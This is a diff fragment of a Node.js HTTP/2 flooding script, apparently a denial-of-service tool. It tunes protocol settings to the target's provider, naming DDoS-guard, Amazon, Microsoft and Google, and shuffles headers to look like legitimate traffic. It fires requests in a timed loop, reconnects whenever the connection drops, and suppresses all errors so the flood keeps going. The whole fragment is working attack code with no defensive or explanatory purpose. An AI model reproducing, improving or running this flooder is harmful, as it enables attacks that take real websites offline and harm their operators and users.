+ settings.initialWindowSize = 65535;
684
+ settings.maxFrameSize = 16384;
685
+ settings.maxConcurrentStreams = 100;
686
+ settings.maxHeaderListSize = 4294967295;
687
+ break;
688
+ case 'Ddos-guard LTD':
689
+ settings.priority = 1;
690
+ settings.maxConcurrentStreams = 1;
691
+ settings.initialWindowSize = 65535;
692
+ settings.maxFrameSize = 16777215;
693
+ settings.maxHeaderListSize = 262144;
694
+ break;
695
+ case 'Amazon.com, Inc.':
696
+ case 'Amazon Technologies Inc.':
697
+ settings.priority = 0;
698
+ settings.maxConcurrentStreams = 100;
699
+ settings.initialWindowSize = 65535;
700
+ settings.maxHeaderListSize = 262144;
701
+ break;
702
+ case 'Microsoft Corporation':
703
+ case 'Vietnam Posts and Telecommunications Group':
704
+ case 'VIETNIX':
705
+ settings.priority = 0;
706
+ settings.headerTableSize = 4096;
707
+ settings.initialWindowSize = 8388608;
708
+ settings.maxFrameSize = 16384;
709
+ settings.maxConcurrentStreams = 100;
710
+ settings.maxHeaderListSize = 4294967295;
711
+ break;
712
+ case 'Google LLC':
713
+ settings.priority = 0;
714
+ settings.headerTableSize = 4096;
715
+ settings.initialWindowSize = 1048576;
716
+ settings.maxFrameSize = 16384;
717
+ settings.maxConcurrentStreams = 100;
718
+ settings.maxHeaderListSize = 137216;
719
+ break;
720
+ default:
721
+ settings.headerTableSize = 65535;
722
+ settings.maxConcurrentStreams = 1000;
723
+ settings.initialWindowSize = 6291456;
724
+ settings.maxHeaderListSize = 261144;
725
+ settings.maxFrameSize = 16384;
726
+ break;
727
+ }
728
+
729
+ return settings;
730
+ }
731
+
732
+ let hpack = new HPACK();
733
+ let client;
734
+
735
+ const clients = [];
736
+ client = http2.connect(parsedTarget.href, {
737
+ protocol: "https",
738
+ createConnection: () => tlsSocket,
739
+ settings : getSettingsBasedOnISP(isp),
740
+ socket: tlsSocket,
741
+ });
742
+ clients.push(client);
743
+ client.setMaxListeners(0);
744
+
745
+ const updateWindow = Buffer.alloc(4);
746
+ updateWindow.writeUInt32BE(Math.floor(Math.random() * (19963105 - 15663105 + 1)) + 15663105, 0);
747
+ client.on('remoteSettings', (settings) => {
748
+ const localWindowSize = Math.floor(Math.random() * (19963105 - 15663105 + 1)) + 15663105;
749
+ client.setLocalWindowSize(localWindowSize, 0);
750
+ });
751
+
752
+ client.on('connect', () => {
753
+ client.ping((err, duration, payload) => {
754
+ });
755
+
756
+ client.goaway(0, http2.constants.NGHTTP2_HTTP_1_1_REQUIRED, Buffer.from('NATRAL'));
757
+
758
+ });
759
+ clients.forEach(client => {
760
+ const intervalId = setInterval(() => {
761
+ async function sendRequests() {
762
+ const shuffleObject = (obj) => {
763
+ const keys = Object.keys(obj);
764
+ for (let i = keys.length - 1; i > 0; i--) {
765
+ const j = Math.floor(Math.random() * (i + 1));
766
+ [keys[i], keys[j]] = [keys[j], keys[i]];
767
+ }
768
+ const shuffledObj = {};
769
+ keys.forEach(key => shuffledObj[key] = obj[key]);
770
+ return shuffledObj;
771
+ };
772
+ const randomItem = (array) => array[Math.floor(Math.random() * array.length)];
773
+ const dynHeaders = shuffleObject({
774
+ ...(Math.random() < 0.5 && { rhd: [randomItem(rhd)] }),
775
+ ...(Math.random() < 0.5 && { hd1: [randomItem(hd1)] }),
776
+ ...randomItem(rateHeaders1),
777
+ ...randomItem(rateHeaders2),
778
+ ...randomItem(rateHeaders3),
779
+ ...randomItem(rateHeaders4),
780
+ ...dyn,
781
+ ...allHeaders,
782
+ ...dyn2,
783
+ ...(Math.random() < 0.5 ? taoDoiTuongNgauNhien() : {}),
784
+ });
785
+
786
+ const packed = Buffer.concat([
787
+ Buffer.from([0x80, 0, 0, 0, 0xFF]),
788
+ hpack.encode(dynHeaders)
789
+ ]);
790
+
791
+ const streamId = 1;
792
+ const requests = [];
793
+ let count = 0;
794
+
795
+ const increaseRequestRate = async (client, dynHeaders, args) => {
796
+ if (tlsSocket && !tlsSocket.destroyed && tlsSocket.writable) {
797
+ for (let i = 0; i < args.Rate ; i++) {
798
+ const requestPromise = new Promise((resolve, reject) => {
799
+ const req = client.request(dynHeaders, {
800
+ weight: Math.random() < 0.5 ? 251 : 231,
801
+ depends_on: 0,
802
+ exclusive: Math.random() < 0.5 ? true : false,
803
+ })
804
+ .on('response', response => {
805
+ req.close(http2.constants.NO_ERROR);
806
+ req.destroy();
807
+ resolve();
808
+ });
809
+ req.on('end', () => {
810
+ count++;
811
+ if (count === args.time * args.Rate) {
812
+ clearInterval(intervalId);
813
+ client.close(http2.constants.NGHTTP2_CANCEL);
814
+ }
815
+ reject(new Error('Request timed out'));
816
+ });
817
+
818
+ req.end(http2.constants.ERROR_CODE_PROTOCOL_ERROR);
819
+ });
820
+
821
+ const frame = encodeFrame(streamId, 1, packed, 0x1 | 0x4 | 0x20);
822
+ requests.push({ requestPromise, frame });
823
+ }
824
+
825
+ await Promise.all(requests.map(({ requestPromise }) => requestPromise));
826
+ }
827
+ }
828
+
829
+ await increaseRequestRate(client, dynHeaders, args);
830
+ }
831
+ sendRequests();
832
+ }, 500);
833
+ });
834
+
835
+
836
+ client.on("close", () => {
837
+ client.destroy();
838
+ tlsSocket.destroy();
839
+ connection.destroy();
840
+ return runFlooder();
841
+ });
842
+
843
+ client.on("error", error => {
844
+ client.destroy();
845
+ connection.destroy();
846
+ return runFlooder();
847
+ });
848
+ });
849
+ }
850
+ const StopScript = () => process.exit(1);
851
+
852
+ setTimeout(StopScript, args.time * 1000);
853
+
854
+ process.on('uncaughtException', error => {});
855
+ process.on('unhandledRejection', error => {});
856
+